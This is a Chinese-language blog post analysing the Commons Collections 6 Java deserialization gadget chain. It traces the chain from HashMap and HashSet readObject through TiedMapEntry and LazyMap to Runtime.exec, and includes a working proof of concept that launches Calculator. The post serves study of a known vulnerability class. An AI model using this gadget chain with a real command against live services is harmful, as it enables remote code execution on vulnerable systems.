Java cc6

 
接着看一下 cc6 的这条链
 

基础学习

 
先看一下P神给的简单链
 

    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

 
可以看到还是 cc1 的套路,后半段调用的是 LazyMap.get() 方法,只有前半部分是新的链
 
这里面找到了 org.apache.commons.collections.keyvalue.TiedMapEntry
 
查看其 getValue 方法
 

 
调用了 get方法,并且其 map 字段还是在初始化 TiedMapEntry 时候设置的
 

 
我们完全可以将这个 map 变为我们的 lazyMap
 
并且在其 Hashcode 方法中调用了 getValue 方法
 

 
说起来 Hashcode 你是否想到了 URLDNS中的payload
 
利用 HashMap 调用到其他类的 hashCode 方法
 
cc6 里面就是利用的这种方法,就算是在 HashMap 中也有好几种方式可以调用到 hashCode,首先就是在 readObject
 

 
在函数的尾部可以看见调用了本地的 hash 方法,而 hash 方法里面就会调用到 hashCode
 

 
还有一种方式就是在 HashMapput 方法中也存在 hashCode 的调用
 

 
这里面我们先用 第一种获取 hashCode 的方法进行测试,毕竟只要 readObject 就可以获取到 hashCode,另一种还需要找到另一个类来调用 put 方法
 
编写POC(实际上分析完 DNSURL 和 CC1 这个就显得简单多了)
 

package Study.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Demo1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers= new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer= new ChainedTransformer(transformers);
        Map inner = new HashMap();
        Map outer = LazyMap.decorate(inner,transformer);
        TiedMapEntry tme = new TiedMapEntry(outer,"JustForYou");
        
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(tme);
        oos.close();

        //反序列化
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

 

 
调用链依次为
 

HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()-> 后面就是 transform 的几条循环链了

 
这个利用链可以在Java 7和8的高版本触发
 

yso中的调用链

 

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

 
可以看到 yso 中使用的是 HashSet 中的 readObject
 

 
结尾部分会调用到 put 方法
 
这里面跳转到 HashMap 的的 put 方法
 

 
接着在进入 hash 方法
 

 
调用到 TiedMapEntryhashCode 方法
 

 
之后再进入 getValue,最后在调用到 Lazymapget 方法,之后就是一系列设置好的调用链了,完成调用链
 

 
yso的链长一点,但是基本思路是大差不差的

总结

 
相比cc1,cc6更简单一些,利用范围也更大一点
 
贴一份利用图
 

 

posted @ 2020-11-03 13:42  Zahad003  阅读(334)  评论(0编辑  收藏  举报